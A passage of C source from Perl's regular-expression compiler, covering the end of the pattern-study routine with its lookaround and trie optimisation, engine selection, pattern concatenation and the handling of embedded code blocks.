flags &= ~SCF_DO_STCLASS; } min++; if (delta != SSize_t_MAX) delta++; /* Because of the 2 char string cr-lf */ if (flags & SCF_DO_SUBSTR) { /* Cannot expect anything... */ scan_commit(pRExC_state, data, minlenp, is_inf); data->pos_min += 1; if (data->pos_delta != SSize_t_MAX) { data->pos_delta += 1; } data->cur_is_floating = 1; /* float */ } } else if (REGNODE_SIMPLE(OP(scan))) { if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); data->pos_min++; } min++; if (flags & SCF_DO_STCLASS) { bool invert = 0; SV* my_invlist = NULL; U8 namedclass; /* See commit msg 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; /* Some of the logic below assumes that switching locale on will only add false positives. */ switch (OP(scan)) { default: #ifdef DEBUGGING Perl_croak(aTHX_ "panic: unexpected simple REx opcode %d", OP(scan)); #endif case SANY: if (flags & SCF_DO_STCLASS_OR) /* Allow everything */ ssc_match_all_cp(data->start_class); break; case REG_ANY: { SV* REG_ANY_invlist = _new_invlist(2); REG_ANY_invlist = add_cp_to_invlist(REG_ANY_invlist, '\n'); if (flags & SCF_DO_STCLASS_OR) { ssc_union(data->start_class, REG_ANY_invlist, TRUE /* TRUE => invert, hence all but \n */ ); } else if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, REG_ANY_invlist, TRUE /* TRUE => invert */ ); ssc_clear_locale(data->start_class); } SvREFCNT_dec_NN(REG_ANY_invlist); } break; case ANYOFD: case ANYOFL: case ANYOFPOSIXL: case ANYOFH: case ANYOF: if (flags & SCF_DO_STCLASS_AND) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) scan); else ssc_or(pRExC_state, data->start_class, (regnode_charclass *) scan); break; case NANYOFM: case ANYOFM: { SV* cp_list = get_ANYOFM_contents(scan); if (flags & SCF_DO_STCLASS_OR) { ssc_union(data->start_class, cp_list, invert); } else if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, cp_list, invert); } SvREFCNT_dec_NN(cp_list); break; } case NPOSIXL: invert = 1; /* FALLTHROUGH */ case POSIXL: namedclass = classnum_to_namedclass(FLAGS(scan)) + invert; if (flags & SCF_DO_STCLASS_AND) { bool was_there = cBOOL( ANYOF_POSIXL_TEST(data->start_class, namedclass)); ANYOF_POSIXL_ZERO(data->start_class); if (was_there) { /* Do an AND */ ANYOF_POSIXL_SET(data->start_class, namedclass); } /* No individual code points can now match */ data->start_class->invlist = sv_2mortal(_new_invlist(0)); } else { int complement = namedclass + ((invert) ? -1 : 1); assert(flags & SCF_DO_STCLASS_OR); /* If the complement of this class was already there, * the result is that they match all code points, * (\d + \D == everything). Remove the classes from * future consideration. Locale is not relevant in * this case */ if (ANYOF_POSIXL_TEST(data->start_class, complement)) { ssc_match_all_cp(data->start_class); ANYOF_POSIXL_CLEAR(data->start_class, namedclass); ANYOF_POSIXL_CLEAR(data->start_class, complement); } else { /* The usual case; just add this class to the existing set */ ANYOF_POSIXL_SET(data->start_class, namedclass); } } break; case NPOSIXA: /* For these, we always know the exact set of what's matched */ invert = 1; /* FALLTHROUGH */ case POSIXA: my_invlist = invlist_clone(PL_Posix_ptrs[FLAGS(scan)], NULL); goto join_posix_and_ascii; case NPOSIXD: case NPOSIXU: invert = 1; /* FALLTHROUGH */ case POSIXD: case POSIXU: my_invlist = invlist_clone(PL_XPosix_ptrs[FLAGS(scan)], NULL); /* NPOSIXD matches all upper Latin1 code points unless the * target string being matched is UTF-8, which is * unknowable until match time. Since we are going to * invert, we want to get rid of all of them so that the * inversion will match all */ if (OP(scan) == NPOSIXD) { _invlist_subtract(my_invlist, PL_UpperLatin1, &my_invlist); } join_posix_and_ascii: if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, my_invlist, invert); ssc_clear_locale(data->start_class); } else { assert(flags & SCF_DO_STCLASS_OR); ssc_union(data->start_class, my_invlist, invert); } SvREFCNT_dec(my_invlist); } if (flags & SCF_DO_STCLASS_OR) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); flags &= ~SCF_DO_STCLASS; } } else if (PL_regkind[OP(scan)] == EOL && flags & SCF_DO_SUBSTR) { data->flags |= (OP(scan) == MEOL ? SF_BEFORE_MEOL : SF_BEFORE_SEOL); scan_commit(pRExC_state, data, minlenp, is_inf); } else if ( PL_regkind[OP(scan)] == BRANCHJ /* Lookbehind, or need to calculate parens/evals/stclass: */ && (scan->flags || data || (flags & SCF_DO_STCLASS)) && (OP(scan) == IFMATCH || OP(scan) == UNLESSM)) { if ( !PERL_ENABLE_POSITIVE_ASSERTION_STUDY || OP(scan) == UNLESSM ) { /* Negative Lookahead/lookbehind In this case we can't do fixed string optimisation. */ SSize_t deltanext, minnext, fake = 0; regnode *nscan; regnode_ssc intrnl; int f = 0; StructCopy(&zero_scan_data, &data_fake, scan_data_t); if (data) { data_fake.whilem_c = data->whilem_c; data_fake.last_closep = data->last_closep; } else data_fake.last_closep = &fake; data_fake.pos_delta = delta; if ( flags & SCF_DO_STCLASS && !scan->flags && OP(scan) == IFMATCH ) { /* Lookahead */ ssc_init(pRExC_state, &intrnl); data_fake.start_class = &intrnl; f |= SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; next = regnext(scan); nscan = NEXTOPER(NEXTOPER(scan)); /* recurse study_chunk() for lookahead body */ minnext = study_chunk(pRExC_state, &nscan, minlenp, &deltanext, last, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); if (scan->flags) { if ( deltanext < 0 || deltanext > (I32) U8_MAX || minnext > (I32)U8_MAX || minnext + deltanext > (I32)U8_MAX) { FAIL2("Lookbehind longer than %" UVuf " not implemented", (UV)U8_MAX); } /* The 'next_off' field has been repurposed to count the * additional starting positions to try beyond the initial * one. (This leaves it at 0 for non-variable length * matches to avoid breakage for those not using this * extension) */ if (deltanext) { scan->next_off = deltanext; ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__VLB, "Variable length lookbehind is experimental"); } scan->flags = (U8)minnext + deltanext; } if (data) { if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; } if (f & SCF_DO_STCLASS_AND) { if (flags & SCF_DO_STCLASS_OR) { /* OR before, AND after: ideally we would recurse with * data_fake to get the AND applied by study of the * remainder of the pattern, and then derecurse; * *** HACK *** for now just treat as "no information". * See [perl #56690]. */ ssc_init(pRExC_state, data->start_class); } else { /* AND before and after: combine and continue. These * assertions are zero-length, so can match an EMPTY * string */ ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &intrnl); ANYOF_FLAGS(data->start_class) |= SSC_MATCHES_EMPTY_STRING; } } } #if PERL_ENABLE_POSITIVE_ASSERTION_STUDY else { /* Positive Lookahead/lookbehind In this case we can do fixed string optimisation, but we must be careful about it. Note in the case of lookbehind the positions will be offset by the minimum length of the pattern, something we won't know about until after the recurse. */ SSize_t deltanext, fake = 0; regnode *nscan; regnode_ssc intrnl; int f = 0; /* We use SAVEFREEPV so that when the full compile is finished perl will clean up the allocated minlens when it's all done. This way we don't have to worry about freeing them when we know they wont be used, which would be a pain. */ SSize_t *minnextp; Newx( minnextp, 1, SSize_t ); SAVEFREEPV(minnextp); if (data) { StructCopy(data, &data_fake, scan_data_t); if ((flags & SCF_DO_SUBSTR) && data->last_found) { f |= SCF_DO_SUBSTR; if (scan->flags) scan_commit(pRExC_state, &data_fake, minlenp, is_inf); data_fake.last_found=newSVsv(data->last_found); } } else data_fake.last_closep = &fake; data_fake.flags = 0; data_fake.substrs[0].flags = 0; data_fake.substrs[1].flags = 0; data_fake.pos_delta = delta; if (is_inf) data_fake.flags |= SF_IS_INF; if ( flags & SCF_DO_STCLASS && !scan->flags && OP(scan) == IFMATCH ) { /* Lookahead */ ssc_init(pRExC_state, &intrnl); data_fake.start_class = &intrnl; f |= SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; next = regnext(scan); nscan = NEXTOPER(NEXTOPER(scan)); /* positive lookahead study_chunk() recursion */ *minnextp = study_chunk(pRExC_state, &nscan, minnextp, &deltanext, last, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); if (scan->flags) { assert(0); /* This code has never been tested since this is normally not compiled */ if ( deltanext < 0 || deltanext > (I32) U8_MAX || *minnextp > (I32)U8_MAX || *minnextp + deltanext > (I32)U8_MAX) { FAIL2("Lookbehind longer than %" UVuf " not implemented", (UV)U8_MAX); } if (deltanext) { scan->next_off = deltanext; } scan->flags = (U8)*minnextp + deltanext; } *minnextp += min; if (f & SCF_DO_STCLASS_AND) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &intrnl); ANYOF_FLAGS(data->start_class) |= SSC_MATCHES_EMPTY_STRING; } if (data) { if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; if ((flags & SCF_DO_SUBSTR) && data_fake.last_found) { int i; if (RExC_rx->minlen<*minnextp) RExC_rx->minlen=*minnextp; scan_commit(pRExC_state, &data_fake, minnextp, is_inf); SvREFCNT_dec_NN(data_fake.last_found); for (i = 0; i < 2; i++) { if (data_fake.substrs[i].minlenp != minlenp) { data->substrs[i].min_offset = data_fake.substrs[i].min_offset; data->substrs[i].max_offset = data_fake.substrs[i].max_offset; data->substrs[i].minlenp = data_fake.substrs[i].minlenp; data->substrs[i].lookbehind += scan->flags; } } } } } #endif } else if (OP(scan) == OPEN) { if (stopparen != (I32)ARG(scan)) pars++; } else if (OP(scan) == CLOSE) { if (stopparen == (I32)ARG(scan)) { break; } if ((I32)ARG(scan) == is_par) { next = regnext(scan); if ( next && (OP(next) != WHILEM) && next < last) is_par = 0; /* Disable optimization */ } if (data) *(data->last_closep) = ARG(scan); } else if (OP(scan) == EVAL) { if (data) data->flags |= SF_HAS_EVAL; } else if ( PL_regkind[OP(scan)] == ENDLIKE ) { if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); flags &= ~SCF_DO_SUBSTR; } if (data && OP(scan)==ACCEPT) { data->flags |= SCF_SEEN_ACCEPT; if (stopmin > min) stopmin = min; } } else if (OP(scan) == LOGICAL && scan->flags == 2) /* Embedded follows */ { if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); data->cur_is_floating = 1; /* float */ } is_inf = is_inf_internal = 1; if (flags & SCF_DO_STCLASS_OR) /* Allow everything */ ssc_anything(data->start_class); flags &= ~SCF_DO_STCLASS; } else if (OP(scan) == GPOS) { if (!(RExC_rx->intflags & PREGf_GPOS_FLOAT) && !(delta || is_inf || (data && data->pos_delta))) { if (!(RExC_rx->intflags & PREGf_ANCH) && (flags & SCF_DO_SUBSTR)) RExC_rx->intflags |= PREGf_ANCH_GPOS; if (RExC_rx->gofs < (STRLEN)min) RExC_rx->gofs = min; } else { RExC_rx->intflags |= PREGf_GPOS_FLOAT; RExC_rx->gofs = 0; } } #ifdef TRIE_STUDY_OPT #ifdef FULL_TRIE_STUDY else if (PL_regkind[OP(scan)] == TRIE) { /* NOTE - There is similar code to this block above for handling BRANCH nodes on the initial study. If you change stuff here check there too. */ regnode *trie_node= scan; regnode *tail= regnext(scan); reg_trie_data *trie = (reg_trie_data*)RExC_rxi->data->data[ ARG(scan) ]; SSize_t max1 = 0, min1 = SSize_t_MAX; regnode_ssc accum; if (flags & SCF_DO_SUBSTR) { /* XXXX Add !SUSPEND? */ /* Cannot merge strings after this. */ scan_commit(pRExC_state, data, minlenp, is_inf); } if (flags & SCF_DO_STCLASS) ssc_init_zero(pRExC_state, &accum); if (!trie->jump) { min1= trie->minlen; max1= trie->maxlen; } else { const regnode *nextbranch= NULL; U32 word; for ( word=1 ; word <= trie->wordcount ; word++) { SSize_t deltanext=0, minnext=0, f = 0, fake; regnode_ssc this_class; StructCopy(&zero_scan_data, &data_fake, scan_data_t); if (data) { data_fake.whilem_c = data->whilem_c; data_fake.last_closep = data->last_closep; } else data_fake.last_closep = &fake; data_fake.pos_delta = delta; if (flags & SCF_DO_STCLASS) { ssc_init(pRExC_state, &this_class); data_fake.start_class = &this_class; f = SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; if (trie->jump[word]) { if (!nextbranch) nextbranch = trie_node + trie->jump[0]; scan= trie_node + trie->jump[word]; /* We go from the jump point to the branch that follows it. Note this means we need the vestigal unused branches even though they arent otherwise used. */ /* optimise study_chunk() for TRIE */ minnext = study_chunk(pRExC_state, &scan, minlenp, &deltanext, (regnode *)nextbranch, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); } if (nextbranch && PL_regkind[OP(nextbranch)]==BRANCH) nextbranch= regnext((regnode*)nextbranch); if (min1 > (SSize_t)(minnext + trie->minlen)) min1 = minnext + trie->minlen; if (deltanext == SSize_t_MAX) { is_inf = is_inf_internal = 1; max1 = SSize_t_MAX; } else if (max1 < (SSize_t)(minnext + deltanext + trie->maxlen)) max1 = minnext + deltanext + trie->maxlen; if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags & SCF_SEEN_ACCEPT) { if ( stopmin > min + min1) stopmin = min + min1; flags &= ~SCF_DO_SUBSTR; if (data) data->flags |= SCF_SEEN_ACCEPT; } if (data) { if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; } if (flags & SCF_DO_STCLASS) ssc_or(pRExC_state, &accum, (regnode_charclass *) &this_class); } } if (flags & SCF_DO_SUBSTR) { data->pos_min += min1; data->pos_delta += max1 - min1; if (max1 != min1 || is_inf) data->cur_is_floating = 1; /* float */ } min += min1; if (delta != SSize_t_MAX) { if (SSize_t_MAX - (max1 - min1) >= delta) delta += max1 - min1; else delta = SSize_t_MAX; } if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass *) &accum); if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); flags &= ~SCF_DO_STCLASS; } } else if (flags & SCF_DO_STCLASS_AND) { if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &accum); flags &= ~SCF_DO_STCLASS; } else { /* Switch to OR mode: cache the old value of * data->start_class */ INIT_AND_WITHP; StructCopy(data->start_class, and_withp, regnode_ssc); flags &= ~SCF_DO_STCLASS_AND; StructCopy(&accum, data->start_class, regnode_ssc); flags |= SCF_DO_STCLASS_OR; } } scan= tail; continue; } #else else if (PL_regkind[OP(scan)] == TRIE) { reg_trie_data *trie = (reg_trie_data*)RExC_rxi->data->data[ ARG(scan) ]; U8*bang=NULL; min += trie->minlen; delta += (trie->maxlen - trie->minlen); flags &= ~SCF_DO_STCLASS; /* xxx */ if (flags & SCF_DO_SUBSTR) { /* Cannot expect anything... */ scan_commit(pRExC_state, data, minlenp, is_inf); data->pos_min += trie->minlen; data->pos_delta += (trie->maxlen - trie->minlen); if (trie->maxlen != trie->minlen) data->cur_is_floating = 1; /* float */ } if (trie->jump) /* no more substrings -- for now /grr*/ flags &= ~SCF_DO_SUBSTR; } #endif /* old or new */ #endif /* TRIE_STUDY_OPT */ /* Else: zero-length, ignore. */ scan = regnext(scan); } finish: if (frame) { /* we need to unwind recursion. */ depth = depth - 1; DEBUG_STUDYDATA("frame-end", data, depth, is_inf); DEBUG_PEEP("fend", scan, depth, flags); /* restore previous context */ last = frame->last_regnode; scan = frame->next_regnode; stopparen = frame->stopparen; recursed_depth = frame->prev_recursed_depth; RExC_frame_last = frame->prev_frame; frame = frame->this_prev_frame; goto fake_study_recurse; } assert(!frame); DEBUG_STUDYDATA("pre-fin", data, depth, is_inf); *scanp = scan; *deltap = is_inf_internal ? SSize_t_MAX : delta; if (flags & SCF_DO_SUBSTR && is_inf) data->pos_delta = SSize_t_MAX - data->pos_min; if (is_par > (I32)U8_MAX) is_par = 0; if (is_par && pars==1 && data) { data->flags |= SF_IN_PAR; data->flags &= ~SF_HAS_PAR; } else if (pars && data) { data->flags |= SF_HAS_PAR; data->flags &= ~SF_IN_PAR; } if (flags & SCF_DO_STCLASS_OR) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); if (flags & SCF_TRIE_RESTUDY) data->flags |= SCF_TRIE_RESTUDY; DEBUG_STUDYDATA("post-fin", data, depth, is_inf); { SSize_t final_minlen= min < stopmin ? min : stopmin; if (!(RExC_seen & REG_UNBOUNDED_QUANTIFIER_SEEN)) { if (final_minlen > SSize_t_MAX - delta) RExC_maxlen = SSize_t_MAX; else if (RExC_maxlen < final_minlen + delta) RExC_maxlen = final_minlen + delta; } return final_minlen; } NOT_REACHED; /* NOTREACHED */ } STATIC U32 S_add_data(RExC_state_t* const pRExC_state, const char* const s, const U32 n) { U32 count = RExC_rxi->data ? RExC_rxi->data->count : 0; PERL_ARGS_ASSERT_ADD_DATA; Renewc(RExC_rxi->data, sizeof(*RExC_rxi->data) + sizeof(void*) * (count + n - 1), char, struct reg_data); if(count) Renew(RExC_rxi->data->what, count + n, U8); else Newx(RExC_rxi->data->what, n, U8); RExC_rxi->data->count = count + n; Copy(s, RExC_rxi->data->what + count, n, U8); return count; } /*XXX: todo make this not included in a non debugging perl, but appears to be * used anyway there, in 'use re' */ #ifndef PERL_IN_XSUB_RE void Perl_reginitcolors(pTHX) { const char * const s = PerlEnv_getenv("PERL_RE_COLORS"); if (s) { char *t = savepv(s); int i = 0; PL_colors[0] = t; while (++i < 6) { t = strchr(t, '\t'); if (t) { *t = '\0'; PL_colors[i] = ++t; } else PL_colors[i] = t = (char *)""; } } else { int i = 0; while (i < 6) PL_colors[i++] = (char *)""; } PL_colorset = 1; } #endif #ifdef TRIE_STUDY_OPT #define CHECK_RESTUDY_GOTO_butfirst(dOsomething) \ STMT_START { \ if ( \ (data.flags & SCF_TRIE_RESTUDY) \ && ! restudied++ \ ) { \ dOsomething; \ goto reStudy; \ } \ } STMT_END #else #define CHECK_RESTUDY_GOTO_butfirst #endif /* * pregcomp - compile a regular expression into internal code * * Decides which engine's compiler to call based on the hint currently in * scope */ #ifndef PERL_IN_XSUB_RE /* return the currently in-scope regex engine (or the default if none) */ regexp_engine const * Perl_current_re_engine(pTHX) { if (IN_PERL_COMPILETIME) { HV * const table = GvHV(PL_hintgv); SV **ptr; if (!table || !(PL_hints & HINT_LOCALIZE_HH)) return &PL_core_reg_engine; ptr = hv_fetchs(table, "regcomp", FALSE); if ( !(ptr && SvIOK(*ptr) && SvIV(*ptr))) return &PL_core_reg_engine; return INT2PTR(regexp_engine*, SvIV(*ptr)); } else { SV *ptr; if (!PL_curcop->cop_hints_hash) return &PL_core_reg_engine; ptr = cop_hints_fetch_pvs(PL_curcop, "regcomp", 0); if ( !(ptr && SvIOK(ptr) && SvIV(ptr))) return &PL_core_reg_engine; return INT2PTR(regexp_engine*, SvIV(ptr)); } } REGEXP * Perl_pregcomp(pTHX_ SV * const pattern, const U32 flags) { regexp_engine const *eng = current_re_engine(); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_PREGCOMP; /* Dispatch a request to compile a regexp to correct regexp engine. */ DEBUG_COMPILE_r({ Perl_re_printf( aTHX_ "Using engine %" UVxf "\n", PTR2UV(eng)); }); return CALLREGCOMP_ENG(eng, pattern, flags); } #endif /* public(ish) entry point for the perl core's own regex compiling code. * It's actually a wrapper for Perl_re_op_compile that only takes an SV * pattern rather than a list of OPs, and uses the internal engine rather * than the current one */ REGEXP * Perl_re_compile(pTHX_ SV * const pattern, U32 rx_flags) { SV *pat = pattern; /* defeat constness! */ PERL_ARGS_ASSERT_RE_COMPILE; return Perl_re_op_compile(aTHX_ &pat, 1, NULL, #ifdef PERL_IN_XSUB_RE &my_reg_engine, #else &PL_core_reg_engine, #endif NULL, NULL, rx_flags, 0); } static void S_free_codeblocks(pTHX_ struct reg_code_blocks *cbs) { int n; if (--cbs->refcnt > 0) return; for (n = 0; n < cbs->count; n++) { REGEXP *rx = cbs->cb[n].src_regex; if (rx) { cbs->cb[n].src_regex = NULL; SvREFCNT_dec_NN(rx); } } Safefree(cbs->cb); Safefree(cbs); } static struct reg_code_blocks * S_alloc_code_blocks(pTHX_ int ncode) { struct reg_code_blocks *cbs; Newx(cbs, 1, struct reg_code_blocks); cbs->count = ncode; cbs->refcnt = 1; SAVEDESTRUCTOR_X(S_free_codeblocks, cbs); if (ncode) Newx(cbs->cb, ncode, struct reg_code_block); else cbs->cb = NULL; return cbs; } /* upgrade pattern pat_p of length plen_p to UTF8, and if there are code * blocks, recalculate the indices. Update pat_p and plen_p in-place to * point to the realloced string and length. * * This is essentially a copy of Perl_bytes_to_utf8() with the code index * stuff added */ static void S_pat_upgrade_to_utf8(pTHX_ RExC_state_t * const pRExC_state, char **pat_p, STRLEN *plen_p, int num_code_blocks) { U8 *const src = (U8*)*pat_p; U8 *dst, *d; int n=0; STRLEN s = 0; bool do_end = 0; GET_RE_DEBUG_FLAGS_DECL; DEBUG_PARSE_r(Perl_re_printf( aTHX_ "UTF8 mismatch! Converting to utf8 for resizing and compile\n")); /* 1 for each byte + 1 for each byte that expands to two, + trailing NUL */ Newx(dst, *plen_p + variant_under_utf8_count(src, src + *plen_p) + 1, U8); d = dst; while (s < *plen_p) { append_utf8_from_native_byte(src[s], &d); if (n < num_code_blocks) { assert(pRExC_state->code_blocks); if (!do_end && pRExC_state->code_blocks->cb[n].start == s) { pRExC_state->code_blocks->cb[n].start = d - dst - 1; assert(*(d - 1) == '('); do_end = 1; } else if (do_end && pRExC_state->code_blocks->cb[n].end == s) { pRExC_state->code_blocks->cb[n].end = d - dst - 1; assert(*(d - 1) == ')'); do_end = 0; n++; } } s++; } *d = '\0'; *plen_p = d - dst; *pat_p = (char*) dst; SAVEFREEPV(*pat_p); RExC_orig_utf8 = RExC_utf8 = 1; } /* S_concat_pat(): concatenate a list of args to the pattern string pat, * while recording any code block indices, and handling overloading, * nested qr// objects etc. If pat is null, it will allocate a new * string, or just return the first arg, if there's only one. * * Returns the malloced/updated pat. * patternp and pat_count is the array of SVs to be concatted; * oplist is the optional list of ops that generated the SVs; * recompile_p is a pointer to a boolean that will be set if * the regex will need to be recompiled. * delim, if non-null is an SV that will be inserted between each element */ static SV* S_concat_pat(pTHX_ RExC_state_t * const pRExC_state, SV *pat, SV ** const patternp, int pat_count, OP *oplist, bool *recompile_p, SV *delim) { SV **svp; int n = 0; bool use_delim = FALSE; bool alloced = FALSE; /* if we know we have at least two args, create an empty string, * then concatenate args to that. For no args, return an empty string */ if (!pat && pat_count != 1) { pat = newSVpvs(""); SAVEFREESV(pat); alloced = TRUE; } for (svp = patternp; svp < patternp + pat_count; svp++) { SV *sv; SV *rx = NULL; STRLEN orig_patlen = 0; bool code = 0; SV *msv = use_delim ? delim : *svp; if (!msv) msv = &PL_sv_undef; /* if we've got a delimiter, we go round the loop twice for each * svp slot (except the last), using the delimiter the second * time round */ if (use_delim) { svp--; use_delim = FALSE; } else if (delim) use_delim = TRUE; if (SvTYPE(msv) == SVt_PVAV) { /* we've encountered an interpolated array within * the pattern, e.g. /...@a..../. Expand the list of elements, * then recursively append elements. * The code in this block is based on S_pushav() */ AV *const av = (AV*)msv; const SSize_t maxarg = AvFILL(av) + 1; SV **array; if (oplist) { assert(oplist->op_type == OP_PADAV || oplist->op_type == OP_RV2AV); oplist = OpSIBLING(oplist); } if (SvRMAGICAL(av)) { SSize_t i; Newx(array, maxarg, SV*); SAVEFREEPV(array); for (i=0; i < maxarg; i++) { SV ** const svp = av_fetch(av, i, FALSE); array[i] = svp ? *svp : &PL_sv_undef; } } else array = AvARRAY(av); pat = S_concat_pat(aTHX_ pRExC_state, pat, array, maxarg, NULL, recompile_p, /* $" */ GvSV((gv_fetchpvs("\"", GV_ADDMULTI, SVt_PV)))); continue; } /* we make the assumption here that each op in the list of * op_siblings maps to one SV pushed onto the stack, * except for code blocks, with have both an OP_NULL and * and OP_CONST. * This allows us to match up the list of SVs against the * list of OPs to find the next code block. * * Note that PUSHMARK PADSV PADSV .. * is optimised to * PADRANGE PADSV PADSV .. * so the alignment still works. */ if (oplist) { if (oplist->op_type == OP_NULL && (oplist->op_flags & OPf_SPECIAL)) { assert(n < pRExC_state->code_blocks->count); pRExC_state->code_blocks->cb[n].start = pat ? SvCUR(pat) : 0; pRExC_state->code_blocks->cb[n].block = oplist; pRExC_state->code_blocks->cb[n].src_regex = NULL; n++; code = 1; oplist = OpSIBLING(oplist); /* skip CONST */ assert(oplist); } oplist = OpSIBLING(oplist);; } /* apply magic and QR overloading to arg */ SvGETMAGIC(msv); if (SvROK(msv) && SvAMAGIC(msv)) { SV *sv = AMG_CALLunary(msv, regexp_amg); if (sv) { if (SvROK(sv)) sv = SvRV(sv); if (SvTYPE(sv) != SVt_REGEXP) Perl_croak(aTHX_ "Overloaded qr did not return a REGEXP"); msv = sv; } } /* try concatenation overload ... */ if (pat && (SvAMAGIC(pat) || SvAMAGIC(msv)) && (sv = amagic_call(pat, msv, concat_amg, AMGf_assign))) { sv_setsv(pat, sv); /* overloading involved: all bets are off over literal * code. Pretend we haven't seen it */ if (n) pRExC_state->code_blocks->count -= n; n = 0; } else { /* ... or failing that, try "" overload */ while (SvAMAGIC(msv) && (sv = AMG_CALLunary(msv, string_amg)) && sv != msv && !( SvROK(msv) && SvROK(sv) && SvRV(msv) == SvRV(sv)) ) { msv = sv; SvGETMAGIC(msv); } if (SvROK(msv) && SvTYPE(SvRV(msv)) == SVt_REGEXP) msv = SvRV(msv); if (pat) { /* this is a partially unrolled * sv_catsv_nomg(pat, msv); * that allows us to adjust code block indices if * needed */ STRLEN dlen; char *dst = SvPV_force_nomg(pat, dlen); orig_patlen = dlen; if (SvUTF8(msv) && !SvUTF8(pat)) { S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &dst, &dlen, n); sv_setpvn(pat, dst, dlen); SvUTF8_on(pat); } sv_catsv_nomg(pat, msv); rx = msv; } else { /* We have only one SV to process, but we need to verify * it is properly null terminated or we will fail asserts * later. In theory we probably shouldn't get such SV's, * but if we do we should handle it gracefully. */ if ( SvTYPE(msv) != SVt_PV || (SvLEN(msv) > SvCUR(msv) && *(SvEND(msv)) == 0) || SvIsCOW_shared_hash(msv) ) { /* not a string, or a string with a trailing null */ pat = msv; } else { /* a string with no trailing null, we need to copy it * so it has a trailing null */ pat = sv_2mortal(newSVsv(msv)); } } if (code) pRExC_state->code_blocks->cb[n-1].end = SvCUR(pat)-1; } /* extract any code blocks within any embedded qr//'s */ if (rx && SvTYPE(rx) == SVt_REGEXP && RX_ENGINE((REGEXP*)rx)->op_comp) { RXi_GET_DECL(ReANY((REGEXP *)rx), ri); if (ri->code_blocks && ri->code_blocks->count) { int i; /* the presence of an embedded qr// with code means * we should always recompile: the text of the * qr// may not have changed, but it may be a * different closure than last time */ *recompile_p = 1; if (pRExC_state->code_blocks) { int new_count = pRExC_state->code_blocks->count + ri->code_blocks->count; Renew(pRExC_state->code_blocks->cb, new_count, struct reg_code_block); pRExC_state->code_blocks->count = new_count; } else pRExC_state->code_blocks = S_alloc_code_blocks(aTHX_ ri->code_blocks->count); for (i=0; i < ri->code_blocks->count; i++) { struct reg_code_block *src, *dst; STRLEN offset = orig_patlen + ReANY((REGEXP *)rx)->pre_prefix; assert(n < pRExC_state->code_blocks->count); src = &ri->code_blocks->cb[i]; dst = &pRExC_state->code_blocks->cb[n]; dst->start = src->start + offset; dst->end = src->end + offset; dst->block = src->block; dst->src_regex = (REGEXP*) SvREFCNT_inc( (SV*) src->src_regex ? src->src_regex : (REGEXP*)rx); n++; } } } } /* avoid calling magic multiple times on a single element e.g. =~ $qr */ if (alloced) SvSETMAGIC(pat); return pat; } /* see if there are any run-time code blocks in the pattern. * False positives are allowed */ static bool S_has_runtime_code(pTHX_ RExC_state_t * const pRExC_state, char *pat, STRLEN plen) { int n = 0; STRLEN s; PERL_UNUSED_CONTEXT; for (s = 0; s < plen; s++) { if ( pRExC_state->code_blocks && n < pRExC_state->code_blocks->count && s == pRExC_state->code_blocks->cb[n].start) { s = pRExC_state->code_blocks->cb[n].end; n++; continue; } /* TODO ideally should handle [..], (#..), /#.../x to reduce false * positives here */ if (pat[s] == '(' && s+2 <= plen && pat[s+1] == '?' && (pat[s+2] == '{' || (s + 2 <= plen && pat[s+2] == '?' && pat[s+3] == '{')) ) return 1; } return 0; } /* Handle run-time code blocks. We will already have compiled any direct * or indirect literal code blocks. Now, take the pattern 'pat' and make a * copy of it, but with any literal code blocks blanked out and * appropriate chars escaped; then feed it into * * eval "qr'modified_pattern'" * * For example, * * a\bc(?{"this was literal"})def'ghi\\jkl(?{"this is runtime"})mno * * becomes * * qr'a\\bc_______________________def\'ghi\\\\jkl(?{"this is runtime"})mno' * * After eval_sv()-ing that, grab any new code blocks from the returned qr * and merge them with any code blocks of the original regexp. * * If the pat is non-UTF8, while the evalled qr is UTF8, don't merge; * instead, just save the qr and return FALSE; this tells our caller that * the original pattern needs upgrading to utf8. */ static bool S_compile_runtime_code(pTHX_ RExC_state_t * const pRExC_state, char *pat, STRLEN plen) { SV *qr; GET_RE_DEBUG_FLAGS_DECL; if (pRExC_state->runtime_code_qr) { /* this is the second time we've been called; this should * only happen if the main pattern got upgraded to utf8 * during compilation; re-use the qr we compiled first time * round (which should be utf8 too) */ qr = pRExC_state->runtime_code_qr; pRExC_state->runtime_code_qr = NULL; assert(RExC_utf8 && 